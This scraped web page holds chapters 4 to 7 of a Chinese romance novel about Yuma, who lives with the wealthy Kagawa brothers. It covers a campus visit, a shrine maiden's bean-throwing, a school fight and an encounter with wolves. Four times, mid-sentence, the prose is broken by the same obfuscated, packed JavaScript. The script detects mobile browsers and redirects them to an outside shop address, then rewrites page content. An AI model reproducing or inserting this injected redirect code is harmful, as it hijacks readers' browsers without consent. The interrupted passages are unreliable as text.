“口罩带好了,在你的壳里缩好,乌龟。”香川凛的脸上又露出了那种桀骜不驯的神态:“我读武源,怎么了,反正还有一年时间就毕业了,你也比我大不了多少,别瞧不起高中生。” 悠真不自在地捏着自己的手指:“我没有这个意思。” 如果他没记错的话,武源是以严格著称的私立名校,内部生有直升大学的名额。果然,就算是被退学六次,香川凛读的也还是这种名校。 斋藤大叔解释高中生的时间点比较紧张,要先送香川凛去学校,悠真表示没有意见,斋藤大叔的工作并不是为他服务,能让他用车他已经很感谢了。 香川凛在校门口不远处下了车,正好遇上几个看起来相熟的同学。 “香川你今天怎么坐家里的车来了?” “不是最讨厌坐家里车了吗?” “之前还嘲笑有村他们,说他们天天被家里接送简直就是被过度保护的小孩。” “车上还有人吗?那是谁啊?你哥哥吗?” “啰嗦什么!”香川凛不自在地往车上看了一眼,看到悠真好奇地看着他们时面色一紧,快步朝学校方向走去,那几个男生勾肩搭背,和香川凛表现得很亲近的样子。 香川凛人缘很不错,倒是出乎意料。 斋藤大叔启动了车子,笑眯眯地:“没想到吗,凛少爷的朋友其实很多。” 悠真:“确实没有想到。” 斋藤大叔慢悠悠道:“凛少爷看起来不好相处,其实是个心思细腻又有义气的孩子。” 悠真:“真的吗?”香川凛看起来完全不像是什么“心思细腻”的人吧,他分明是那种拒人于千里之外的人。 悠真:“我觉得,还是香川律先生比较有亲和力一些。” 斋藤大叔笑笑:“青山是这么想的。” 悠真:“应该所有人都会这么觉得吧。” 斋藤大叔笑了笑,没有顺着他说下去,只是好奇道:“说起来,我好像到现在都没看清楚过青山你长什么样,每次见青山,你都带着口罩和帽子。” 悠真:“……我、我最近感冒了。” 斋藤大叔哦了一声:“原来是这样,虽然是春暖花开的天气了,但还是要注意保暖才对。” 被迫说谎的悠真感到心虚,幸好很快就到了学校。 在学校的时间没那么令人舒服,周围有太多人了,多一个人就会有多一道视线,而这些视线里隐含的意思并不怎么令人愉快,不是觉得他是个社交障碍的怪人,就是对他有非正常的迷恋。 想到这些,他难免会觉得有点沮丧。 和斋藤大叔约定的时间还没到,悠真一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13788716|145868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人低头走在校园里,打算先找个无人在意的角落做点什么消磨一下时间。 他警觉地看了看四周,却惊讶的发现一个熟悉的身影。 香川律站在自动贩售机面前,若有所思地看着,神情严肃地像正在解一道数学题。 悠真压了压帽子,快步走过去:“香川先生,你在这里做什么?” 被他的声音唤醒,香川律从沉思地神情中清醒,他笑着看悠真:“啊,青山君,你现在比在家里的时候包裹得还严实呢。” 悠真:“……是……我是有原因的,不过香川先生怎么在这里。” “今天的会议提前结束了,”香川律听起来很高兴:“我多出了时间,想来看看青山君读的学校是什么样的,就和斋藤说了让我来接你。” 悠真受宠若惊:“您是专门来接我的吗?” 香川律:“我很荣幸,但是……青山君,你可不可以教我一下,如果我想要那个豆奶,该怎么做呢?” 他的目光看向自动贩售机第三排的瓶装豆奶。 西装革履的香川先生被自动贩售机难倒了,意识到这一点,悠真忽然觉得香川律有些可爱。 他低头笑了一声,从口袋里摸出硬币:“选择你想要的,再付款就可以了。” 豆奶掉下来,香川律弯下腰从出货口拿出来,若有所思地看了一下。 “青山君好厉害。” 悠真:“啊,不,这只是小事……” 话还未说完,悠真忽然感到自己额头上被轻轻敲了一下,香川律弯着腰,手里的豆奶塞进了悠真的口袋:“这是给青山君的,学习一天辛苦了,我本来想给青山君买的,不过变成了青山君自己来买。” 香川律脸上的笑意更深了。 悠真愣愣看着手中的豆奶,心里有一种说不上来的感觉,他已经很久没有被这样关爱过了。 香川律转身:“那我们回去吧。” 悠真忽然拉住了他的衣服下摆,抬起头,眼睛亮晶晶地看着香川律:“香川先生不是说想看看我的学校吗,我可以带香川先生逛一逛。” 香川律惊讶地看着他,转眼又温柔地笑了:“如果方便的话,当然好。” 悠真坚定地说:“方便的。” 带着香川律逛校园不是意见容易的事情,香川律这样的外形很轻易地会把别人的目光吸引过来,而在看过来的同时,那些目光也会落到悠真身上,然后就再也不会移开。 悠真顶着巨大的压力,中途还是没忍住抖了一下。 他开始后悔自己的提议,人不应该许诺一些对自己而言难以做到的事情的。 可是香川律看起来兴致勃勃,让他完全开不了口说回家。 一个热情洋溢的女孩突然出现在悠真面前,挡住了他的去路:“你是青山悠真对吧,真是好久不见了,没想到会在大学里碰上!” 悠真抬起眼睛,看清楚这是高中时期“发生暴动”的其中一位同学,后来这个同学应该是被退学了,没有想到会在校园里遇到。 悠真:“我……我想你认错人了……” 女孩坚称:“就是你没有错吧。” 说认错了就是认错了啊,不要穷追不舍啊。 青山悠真想逃跑,他已经在看逃跑线路了,左边的人很少,从这里一直跑可以到校门口。 一只温暖的手将他的手包裹起来,香川律温和而坚定地看着他,偏过头小声说:“青山君,逃跑的时候要带我一起啊。” 5. 第 5 章 香川律说完之后,不动声色地偏了头望向那个女孩子。 这个视角悠真刚好看不见,自然也不会看见他不善的眼神和平时根本不会流露出的阴郁面孔。那些原本藏在明亮眼眸后的锋利此时毫不收敛,让人本能性地感到危机。 悠真还陷在香川律刚才说的话中,香川先生刚才说了什么?他说要和自己一起逃跑? 香川先生真是越来越令人感到可爱了,怎么能说出这么有意思的话…… 面前的女生突然后退了一步:“我、我看我还是下次再来找你好了。” 像是被什么东西吓到一样,悠真还没来得说什么,对方已经快速跑开了。。 悠真:“?她怎么了?” 香川律轻柔地笑笑:“可能她也觉得打扰到青山君了吧。” 会这样吗…… “好了,青山君,不要再去管别人了。”香川律微笑:“你累了吗,如果累了的话我们就先回去吧。” 香川律大概是看出了他的勉强,主动提出要回去。 悠真心里过意不去,明明是自己说要带他逛校园,结果还要香川先生照顾自己的心情。自己果然很差劲。 这种歉意在心里发酵,让他一路上几乎一句话都说不出来。 香川律专注地开车,也很少说话,倒也没注意到他的低落。二人无言,在车开进久诹山之后不久,香川律停下了车:“前面有樱花林,每年这个时节开得最好,青山君和我一起去看看吧。” 悠真当然说好。 上次他路过这里的时候,就想好好欣赏樱花了,但因为赶路没法停下脚步,今天难得有这样的机会,竟然还可以和香川先生一起赏花。 两人漫游在樱花小道上,悠真心里泛起一丝奇特又平静的感觉,风吹动时樱花花瓣纷纷落下。 香川律停在一颗樱花树前,用手抚摸着树干:“找到了,这一棵樱花树是我小时候种下的,好久没来看了。” 看着那棵枝叶繁茂的樱花树,花色晕染成一团云霞,香川律站在树下,像嵌入了这副画框里。 悠真由衷感慨:“真美啊。” 一阵风吹来,香川律偏头看他,笑了:“青山君,等一下。” 他把手放到悠真的肩膀上,从上面拿下一片樱花花瓣。 香川律歪了一下头,轻声道:“樱花雨落到青山君你的肩膀上了。” 花瓣从香川律的指尖随风飞下,汇入漂浮在空气中的粉色河流,鲜活而充沛的曙光从其中穿出,节律的美映照在香川律周身,给他镀上一层圣洁的光。 悠真完全移不开眼睛。 直到从不不远处而来的一串铃声打断了他。 铃声是从一群穿着鲜艳绯红裙子白色上衣的巫女身上发出的,她们手持铃铛,在樱花树下翩翩起舞。 悠真的注意力被吸引过去,喃喃道:“在跳舞呢。” 香川律解释:“是奉纳舞,附近神社里的巫女时不时会在这里练习奉纳舞。” 悠真:“附近还有神社吗?” 香川律:“有一座久诹神社,供奉的是这里的山神,小时候我和家人去过,不过近些年没怎么去了。” 悠真看着那群翩然的巫女:“真漂亮啊,感觉很神圣的样子,香川先生,我们什么时候一起去一次吧。” 就在他说话的时候,队伍最末尾的巫女忽然感应到什么,向悠真这边看过来,视线相触碰时巫女先是一愣,随后又有些疑惑地盯着悠真,紧接着是皱起眉头,停下舞蹈,对着旁边的巫女耳语了一番。 旁边的巫女说了一句什么,所有的舞蹈都停了下来,看起来她们收拾东西要准备回去了。队伍末尾的巫女跟着大部队走了几步,又跑了回来,怯生生地靠近悠真,咬着唇接近:“喂,你……你过来。” 悠真指了指自己:“你叫我吗?” 巫女:“就是你。” 看到悠真不大自在,香川律默默往前一步挡在他身前:“请问叫我们有什么事吗?” 巫女虽然胆怯但口吻毫不客气:“我不是叫你,我只是叫他一个人。” 悠真扯了扯香川律的衣角,慢吞吞走过去:“是我打扰到你们跳舞了吗?” 刚才他一直盯着看确实不太礼貌,也许让人感到冒犯了。 巫女的手紧紧攥着,在悠真靠近时,她张开右手将手掌心里的东西撒向悠真,嘴巴里边念着什么。 圆滚滚的黄色豆子噼里啪啦地砸向悠真的身体,落在他的脚边,悠真被砸得发懵。 被砸的是悠真,巫女却好似很害怕一样观察着他的反应,咬着牙忍住发抖的身体,还是用那种不礼貌的语气:“喂,你……你什么时候来神社里一趟吧。” 片刻后又小声呢喃着,像着了魔一般:“要把污秽清除掉啊……恶魔……根本就是恶魔的化身嘛……怎么会有这样的人存在……” 悠真听不清后面的话语,不由自主地向前迈了一步想要听得更清楚,巫女却像惊弓之鸟般立即跑开了,留下悠真一个人站在原地云里雾里,完全不理解她的意思。 他捡起几颗脚边散落的黄豆,放在手里观察,黄豆很普通,就是那种再普通不过的炒熟的黄豆而已。 香川律:“神社经常会有这样撒豆仪式,据说炒熟的黄豆能驱散污秽。” 悠真微微睁大眼睛,那用黄豆撒向他…… 唉,这是把他当成什么了,果然他还是会让别人觉得很奇怪吗。 香川律笑着按住悠真的脑袋,微微俯下身来看着与他平视:“是悠真长得太漂亮了吧,漂亮到像迷惑人心的恶魔,才会被人误会。” 这是什么话…… “没、没有那样的事,我……我只是一个普通人而已。”悠真垂下眼睛。 无论是浓密的睫毛还是半阖的眼帘、亦或是如深潭一般墨黑却被遮住大半的眼眸……这些都是外物遮挡不住的东西。 是极力隐藏也终究会被挖掘的宝藏。 普通人…… 香川律眯着眼睛:“青山君你对自己好像没有一个准确的认知。” 说完香川律的手指轻轻蹭过悠真的口罩边缘,指尖滑过他眼睛下的皮肤:“你出汗了,口罩戴得太久了吧?要不然还是摘下来,也许要舒服点。” 长期带着口罩,悠真本觉得自己已经习惯了这样的“不舒服”,如果不是香川律提醒他根本不会意识到就算是这样凉爽的天气,长期带着口罩还是会令他觉得闷热。 他摇了摇头:“先带着……回去再摘。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13788717|145868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 香川律微笑着收回手,指尖如同被灼烧的快乐却经久不散:“那就回家再摘吧。” 回到香川家才逐渐有了一丝丝获得安全的感觉,悠真放心地拿下口罩帽子,其他人看到他的脸总是会多看几眼或者干脆就把视线黏在他的身上,可香川律只是见怪不怪地摸了摸他的脑袋,轻描淡写地说着:“这样看青山君亲切多了。” 香川先生一说话就会让他有种莫名眩晕的感觉,可能是因为他低沉又平和的声音,也可能只是因为他是香川先生。 香川先生总是什么都好。 悠真话语里带着小心翼翼地讨好:“在家里的时候我都可以摘下来的。” 香川律眼睛微微发亮:“真好啊,青山君用了‘家’这个字。” 悠真腼腆地笑了笑。 香川律:“希望以后青山君能一直把这里当成自己的家。” 这样温馨的时刻,悠真还没来得及说点什么,一声响亮的撞门声后是香川凛那个欠揍的声音:“你们在说什么家啊家的?这里是我家好嘛,乌龟,不要随便住进一栋豪华的房子里就以为是自己的家,我饿了,饭做好了吗?” 香川凛的声音简直打碎了一切滤镜,让悠真立刻从温情泡泡中抽身端正好工作态度,带上口罩:“应该已经做好了,我去厨房看一看。” 到了睡觉的时间,青山悠真的隔壁却响起了一些奇奇怪怪的噪音。他穿着睡衣和拖鞋走出房门,悄悄向外探头,却看见香川凛抱着一大堆东西进进出出,很是忙碌的样子。 悠真:“你在干什么?” 抱着枕头的香川凛停下脚步,看起来竟然有一点像幼稚园里的小朋友,不过一张嘴就又是他的风格。 “难道我做什么事情都要向你报备吗?我换个房间也要和你说?” 悠真:“啊,你要换房间吗?换到……这里吗?” 他指了指隔壁的房间。 香川凛脸上闪过一瞬间的不自在,但很快又颐指气使起来:“是又怎么样,这里所有的房间不都是我的?我想睡哪里就睡哪里,怎么,你有意见?” 悠真:“……没有。” 他慢慢收回脚,准备退回自己的房间。 香川凛叫住他:“啊对了乌龟,你等一下。” 香川凛跑进房间又跑出来,往悠真怀里丢了一个什么软绵绵的东西,悠真低头看,才发现是一只乌龟玩偶。 香川凛:“这是我收拾房间的时候找到的,感觉很适合你,干脆给你好了。” 悠真和玩偶乌龟四目对视,看到乌龟上用线缝着的绿豆一样大小的眼睛,他忍不住笑了一下。虽然知道香川凛这么做的用意也许是一种嘲讽,但他还是由衷地说了一句:“谢谢,我很喜欢。” 听到他的感谢,香川凛微微愣了一下,不自在地挠了挠头:“果然很符合你的气质……好了,不许那么看我,反正、反正……” 悠真安静的等待他把话补完整。 “反正以后如果睡觉觉得害怕,可以抱着玩偶……”香川凛的声音却骤然变小,听起来模模糊糊的。 悠真睁大眼睛:“呃,你说什么?我没有听清楚,可以再说一遍吗。” 香川凛恼怒地瞪了他一眼:“哈?” 6. 第 6 章 香川凛根本没有耐心再重复一遍刚才说的话,嘟嘟囔囔着什么进了房间,重重地把门摔上。 悠真检查好所有的窗户,确定每一次都锁得很严实绝对不会再发生什么“有人从窗户外爬进来”的事情之后,才安心地躺到了床上。 在这个房间里,他闭上眼睛难免会想到那一天河野爬进来的样子,但当悠真在惊慌中睁开眼,看见放在枕边的那只绿豆眼睛小乌龟之后,满脑子又是香川凛那张中二少年的脸,忽然就觉得没有那么可怕了。 可见香川凛有时候也不是一无是处。 在和乌龟的对视中,悠真也不知道自己是什么时候就睡着了。 没过多久,悠真就完全适应了香川家的生活。虽然香川凛现在就住在他的隔壁,抬头不见低头见,时不时会看见他那张没什么好表情的脸,还会叫他“乌龟”这种外号。但总体来说。他们还算和平共处。香川凛的脾气很大,但没关系他会忍让,让让高中青少年也不是什么难做的事情,这是做大人的本分。 但很显然,香川凛不仅在家是个小霸王,在外面也是一个不让人省心的学生。 没几天香川凛就因为打架被学校请了家长。 悠真陪同香川律一起去了学校,在走廊上看见了脸上挂彩的香川凛。青一块紫一块的脸蛋简直可以用精彩来形容,还有不少地方破了皮,嘴唇上也有血迹。要不是身上还穿着武源的校服看起来完全就是街边的小混混。 香川律路过他时停了下脚步,只是默默的看了他一眼,就继续向前走推门进了办公室。悠真本来也想跟进去,却被香川凛口气不善的叫住。 “你来干什么?” 气势汹汹的仿佛自己不是那个犯错的人。 悠真解释道:“是香川先生让我一起来的。” 香川凛用手抹了一下嘴唇上的伤口,将刚渗出来的血色抹干净,很执拗似的别开目光,看向走廊窗外:“哥真是的,叫你来干什么,你一出门就包裹成这个样子,真是丢脸。” 打架被叫家长的人才更丢脸好嘛。 悠真从包里拿出消毒纸巾递过去:“用这个擦伤口可以消毒,怎么会和同学打起来?” 香川凛倒是毫不客气的从他手中扯过消毒纸巾,往脸上随便擦了一下,疼得倒抽了一口气。 他又把消毒纸巾塞回悠真的手中:“你让我自己擦?我自己根本就看不见!你来帮我消毒。” 语气竟然有点像恶劣版的撒娇。 悠真将纸巾对折成小小一块,一点点蹭过香川凛那张可怜的脸,香川凛一开始还不看他,过了一会儿目光落在他的脸上,盯了两秒钟又移开。 那股情绪过去,他的态度也变得好了很多。 “喂,我不是那种鲁莽到随便打架的人。”香川凛不擅长解释什么,说这些话的时候感到很别扭。 悠真擦着他的伤口:“一个转了六次学的人说的话很难让人信服啊。” “你……”香川凛被他堵得哑口无言,赌气道:“随便吧,随你怎么想。” 悠真笑起来:“好了,和你开玩笑的,说给我听吧,你说什么我都会相信的。” 透过镜片的眼睛干净又真诚,香川凛呆呆看着连话都要忘了怎么说。他掩饰性的咳嗽了一声,刚找回自己的声音,张了张嘴,可在悠真的注视下,他简直一个字都说不出来。 “其实……香川同学是为了帮助我。”走廊的台阶上站着一个身影,刚才两人的对话都被他听到了。 悠真看过去,看见了一个穿着校服有着厚重刘海的瘦小男生。 他一步步靠近,悠真刚想后退却发现这是一个完全腼腆到不敢与人对视的学生,光是靠近的这几步路就已经耗尽了他所有勇气似的,每走一步,他的头都更低一点。简直比他自己在外的样子看起来还要阴暗。 “香川同学是不想让那些人欺负我……” “喂,三木,谁让你说话了?”香川凛大声呵止,不想让那个叫三木的人再说下去。 悠真突然抓住了香川凛的手腕,下意识叫了他的名字:“凛。” 这是悠真第一次叫香川凛的名字,两个人都愣了愣。 悠真像被烫到了一样赶紧松开手:“我只是想……想听听他说什么,让我听他说吧。” 香川凛的脸上出现了某种可疑的红痕,从脖子到耳根都没能逃过,比和人打了一架留在脸上的伤痕还要明显,他的眼神飘忽好像还陷在刚才的情景之中,连悠真和三木的对话也不能干扰他脑海中不断回放的一些词组。 凛,凛。 刚才那个乌龟悠真……就是这么叫他的。 谁、谁允许他这么叫了? 手腕处燎人的感觉简直像在有一团火灼烧。青山悠真怎么敢随随便便碰他! 真是可恶!笨蛋……蠢货! 而悠真的注意力全在三木同学的讲述上,并没有注意到香川凛的不对劲,更不知道香川凛经历了怎样内心的焦灼。 从三木同学话中,悠真拼凑出了事情的经过。 这所学校有出身高贵的“内部生”,也有因为成绩优异而考进来的。三木是凭借着自己的努力考进武源的那种学生,没有高贵的出身,本人也不擅长交际,只知道闷头学习,却没有想到这让他被一些人盯上,在香川凛和人打架之前,他已经承受了一段时间的骚扰了。 今天那些学生先是在体育课上故意用球砸他,后来又趁着他换衣服的时候在他的饭盒里挤了胶水,香川凛看不过去,因此才和那几个孩子打了起来。 三木努力表达着对于香川凛的感谢以及为自己给香川凛带来麻烦感到抱歉,悠真耐心听完,感同身受般义愤填膺。 “我会把所有的事情都告诉香川先生。” 香川凛站直身体:“没有必要……还有,为什么你叫我凛却叫哥‘香川先生’?” “啊?”悠真莫名其妙:“现在不是聊这个话题的时候吧?” 他一边说着一边走向办公室,走到办公室门口正准备敲门时,里面刚好传来香川律的声音。 “事情我已经了解了,我们会严加管束凛的。” 校长:“那么道歉……” “道歉?”香川律从喉咙中挤出一声闷笑:“我不觉得凛需要向‘他们’道歉,当然,凛的处理方法是幼稚的,给学校带来了不必要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13788718|145868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的麻烦,所以我临时做了一个决定,香川集团会帮助学校扩建一个网球馆。” 校长愣了一下:“感谢您的资助,但是,高岛先生和高岛太太希望香川同学能向高岛同学道歉。” 悠真听着觉得很离谱,这是什么歪理,欺负人的人要得到道歉? 香川律淡淡道:“我理解。” 香川先生这样的老好人不会就这么妥协了吧! “那么,再加一个图书馆怎么样?”香川律露出温和又迷人的微笑:“凛是不会道歉的,我也不会勉强他道歉。虽然是凛先动的手,但毕竟不能把责任全怪在他的身上。” 他环顾四周,看到办公室天花板上安装的摄像头:“现在这个年代的好处之一就是没什么能逃得过摄像头的记录,哪里都有摄像头,任何人想歪曲事实都是很难做到的。对于武源这样的百年名校如果在网络上出什么霸凌丑闻的话……无论是高岛夫妇还是校长你,一定都不想见到那样的场面。” 校长开始拿手帕擦脑门上冒出的汗。 香川律话锋一转,平和道:“不过我想我和校长先生的想法应该是一致的,能将此事和平的解决再好不过了,我相信您会说服高岛夫妇的,如果有什么需要帮忙的,随时都可以找我的助理。” 深思熟虑之后,校长缓慢道:“我明白您的意思了,先把香川同学接回家吧。另外,网球馆和图书……” 香川律毫不犹豫道:“当然全权由香川集团负责。” 校长欣慰地笑了。 听完全程的悠真默默向后退了两步,这样的解决方案对于所有人来说也许都是不错的选择,香川先生已经努力在保护凛了。 香川律从办公室内走出,看见悠真低着头站在门边,道:“带上凛一起回家。” 几人坐在车上,副驾驶的悠真从后视镜看着香川凛,香川律和香川凛都没有说话,香川凛像闹别扭的小孩一样沉着脸。 下车前香川律说了一句:“到书房来找我。” 这句话显然是对香川凛说的。 香川凛换下校服来到书房,香川律已经等他很久了,他坐在深色真皮沙发里,沙发微微向下凹陷,他像个国王慵懒地坐在他的宝座上。 面对最亲近的兄弟时的香川律露出一些旁人难以窥见的、本来的面目,他轻轻一哂,表情变得凌厉起来。 香川律耐人寻味地盯了自己那个打架斗狠的弟弟几秒钟,重新换上一种平静却隐含教训的语气说道:“凛,偶尔也要学会和垃圾人渣相处啊。” 香川凛紧抿着嘴,听着香川律继续说下去:“身边的人总是一成不变也没什么意思对吧,太好了或者太坏了都不行。偶尔有那么几个特殊一点的人出现,可以当作是生活的调味剂。喜欢的话就当观众好了,不喜欢的话就动动脑筋,不要只是靠拳头。” 香川律的食指在太阳穴点了几下:“你也知道我们这样的人一出生就什么都拥有,总是被满足不觉得也很枯燥吗?我们需要这些调味剂来让生活变得有意思,下次可以试试不要这么直白的解决。” 香川凛一言不发地听着,过了许久他抬起头:“乌龟,也是哥的调味剂吗?” 7. 第 7 章 突如其来的问题并没有令香川律措手不及,他还是那副教养极好的儒雅模样。 “啊,你说悠真。”仿佛想到了什么令他极其高兴的事情,香川律的薄唇弯出了一道弧度,猫眼石般的眼睛划过细腻的光泽。 悠真啊……悠真。 香川律的手指轻轻敲打着皮质的沙发,像在抚摸动物皮毛,但他没有正面回答香川凛的问题。 香川凛从小就知道如果香川律不想说没人能从他嘴里撬出一个字,他没有再追问下去,只是脸色很不好看。 香川律不轻不重地下了逐客令:“凛,你可以回房间休息了,待会白石医生会来给你做体检。” “不需要,你知道我讨厌她身上消毒水的味道。”香川凛说:“我找遥的药擦一擦就好了。” 悠真洗完澡,换好睡衣,房门被敲响,香川凛用很不客气的口吻让他帮自己擦药。 香川凛说的太过理直气壮,以至于悠真稀里糊涂地就答应了。 直到香川凛随手把上衣脱了,露出精瘦的上身,他才手忙脚乱地结结巴巴问:“你、你这是干什么?” 香川凛嫌弃地看了他一眼:“你叫什么?又不是没看过。你要把附近的狼都叫过来是不是?” 悠真:“!!狼?!!” 香川凛一脸理所当然:“这是久诹山,香川家每年花费大量的金钱去维护这里的生态,生态保持的这么好,山里有狼很奇怪吗?” 悠真问:“你不害怕吗?” 香川凛满不在乎:“怕什么?庄园里安保很好的,而且狼一般不在这一片活动,再说了我有猎枪,应该是狼比较害怕吧。” 他好像真的完全一点都不担心一样。 悠真忽然想到河野闯进来那天晚上香川律拿出的枪,怪不得会有枪,原来是为了制服野兽。 他将药膏涂抹在手心里,两只手掌合在一起用体温将它熨烫,等到药膏微微融化时他双手手心来回搓了几下,贴上香川凛身体上红肿的地方。 悠真的手碰到香川凛身体时香川凛猛然一顿,悠真忙收回手问:“怎么了?” 香川凛没回头。 悠真问:“是我的手比较冷吗?” 他默默哈了两口热气,用手背碰了碰自己的脸颊确保温度不会太低。 再碰上香川凛的背部时香川凛却浑身一颤,应激反应般一抬手将他的手打掉。 那……那是什么?被那个乌龟触碰到的地方为什么会有像电流划过一样的东西?酥酥麻麻地要流进他的心脏一样,好像胸膛之下有什么东西就要失控。 香川凛瞬间压住悠真的右手:“你给我擦药一定要碰我的身体吗?” ……这是什么无理取闹的要求?香川凛的少爷脾气又来了吧。 悠真绞尽脑汁的想了想:“……要不你给我一个不碰到身体还能擦药的方法?” “喂!不要和我玩文字游戏。”香川凛推了一把悠真,却没想到用的力气能让对方直直向后倒去。 他连忙去抓悠真的肩膀,却因为惯性两人一同摔在柔软的床上,悠真睁大眼睛看着上方的香川凛,眨了一下眼睛。 那种被击中的感觉又来了,香川凛感到愤怒,他不喜欢这种说不清道不明又无法控制自己的感觉,这一腔愤怒找不到出口,悠真那双漂亮眼睛每动一下他都会想要…… ……想要什么呢…… 香川凛说不出来,却被一种羞耻的感觉紧紧攥住心脏,好像如果能说出口的话,会是一种非常污秽的言语。 偏偏……偏偏青山悠真这个家伙还在用一脸什么都不懂的表情注视着他! 真是可恶,青山悠真真是个……魔鬼。 生活过得太顺风顺水的人对于欲望的感知总是后知后觉的,好比香川凛,他从未有过特别想要得到某一件东西、或者某个人的经历,自然也不知道现在正在体验的这种感情叫做“欲望”。 他用坏脾气做宣泄口:“你是怎么搞的乌龟?被人轻轻推一下就会摔倒吗?你的身体素质好差!你从来都不锻炼吗?” 劈头盖脸的一顿指责让青山悠真羞愧难当,他确实很少锻炼。 “我……我不太运动,因为没有朋友一起玩所以、所以运动很少。”悠真努力解释。 香川凛毫不客气地用手敲了一下悠真的头顶:“真是的,这是什么借口?你明天早上就和我一起晨跑!” 不容拒绝的语气在此刻听起来没有那么刺耳,悠真一直都很向往能有个朋友和他一起打球什么的,虽然香川凛不算是他的朋友但如果能做玩伴的话也不错。 悠真诚惶诚恐地问:“明天?早晨?你要和我一起?” 香川凛坐起身:“怎么?不可以吗?” “可以,当然可以。”青山悠真晃了晃手里的药瓶:“现在还擦药吗?” 香川凛从他手里拿过药瓶,皱着眉头说:“算了,我自己来吧。” 他站起身,就在他要从房间里走出的那一刻,听见悠真又叫了一声他的名字:“凛。” 香川凛不自在地摸了摸自己的头发:“还有什么事?” 悠真的脸上露出一丝狡黠的、机灵的劲头,那是之前从没看到过的一面。他走到香川凛的身边,小声地说:“其实有一件事我今天一直想和你说。” “什么?” “做的好凛!那些高中生太不像话了,确实欠揍!虽然你也被打的鼻青脸肿,但我觉得你做的真帅气!”悠真的眼睛亮晶晶地看着香川凛,好像他是个英雄一样。 “还有还有!”悠真忙不迭地说,生怕漏了什么:“那个乌龟玩偶……我很喜欢的,自从有了那个玩偶之后我就很少做噩梦了。。” 香川凛不自在地扭开目光,看向夜色里的走廊,装作很淡定的模样:“就这些?好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13788719|145868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了我知道了。” 在悠真看不见的角度里,他的唇角微微上翘,带着一丁点小得意。 清晨天还没亮悠真就被香川凛叫了起来,和他一起晨跑。 悠真打着哈欠努力强撑起精神,可身体还是昏昏欲睡。香川凛嫌弃他跑的太慢,不一会儿就跑到了他的前头。 迷迷糊糊中悠真又听到了一串铃铛的声响,他不由自主地停下脚步,抬起头向远处看去,隐约看见上次见到的那个小巫女就站在前方的小山坡上。 这次不一样,这次只有她一个人,不过她的脚边蹲着个什么东西,像一条狗。 巫女也看见了青山悠真,对着他轻轻招了招手,像在呼唤他过去。 青山悠真看了一眼前方的香川凛,对方已经跑的离他很远了。 随着铃铛再次响起的声音,悠真的脚步慢慢向着山坡而动。巫女静静地注视着他,蹲下身对着身旁的狗狗耳语了一番什么,转身跑开了。只有那只狗还留在山坡上。 悠真继续向山坡上爬,爬着爬着他终于感觉到了一丝不对劲。 那只狗像是中大型犬,嘴巴前突尖尖的,眼睛小而凶,尾巴……尾巴是向下的…… 不对! 悠真的脑袋里警铃大作,狗不是这样的。 这是一只狼!只有狼才是这种长相,可是狼怎么会蹲在人的身边? 他欲哭无泪,心想自己这是什么运气,昨天晚上凛刚告诉他山里有狼,今天他就遇到了。 香川凛去哪里了?他也碰到狼了吗?他安全吗? 一时间许多念头堆在悠真的脑袋里。 狼在不远处看着他,轻轻向前迈出了一步,不知道是不是想要进攻。 悠真不敢轻举妄动,只敢向后小步小步地退着。 那只狼也许是吃饱了,看起来完全没有要追他的意思,这让悠真有了一种他可以很轻松的跑掉的错觉。 这种错觉在他后退到第七步时被戳破了,那只狼仿佛有了智慧一样,知道悠真要跑,他不去追,只是仰天叫了一声。 瞬间,此起彼伏的狼声跟着一起叫了起来,那些隐藏在暗处的狼也走了出来,几乎每一个方向都有狼,他们形成了一个圈,将悠真包围在其中,对悠真虎视眈眈。 悠真浑身都在抖,他怀疑整座山的狼都来了。 那个巫女已经不见了,铃声却不知从哪里顺风而来,动听又诡谲。 领头的狼匐下身,迅速从山坡上向悠真冲刺。 悠真被吓得叫了一声,完全看不清脚下就夺路而逃。 包围圈在缩小,它们离他越来越近了,悠真又开始没出息地流眼泪,这种时候流眼泪根本一点也没有用,但他就是克制不住。 偏偏在这种紧要关头他还被石头绊了一跤。 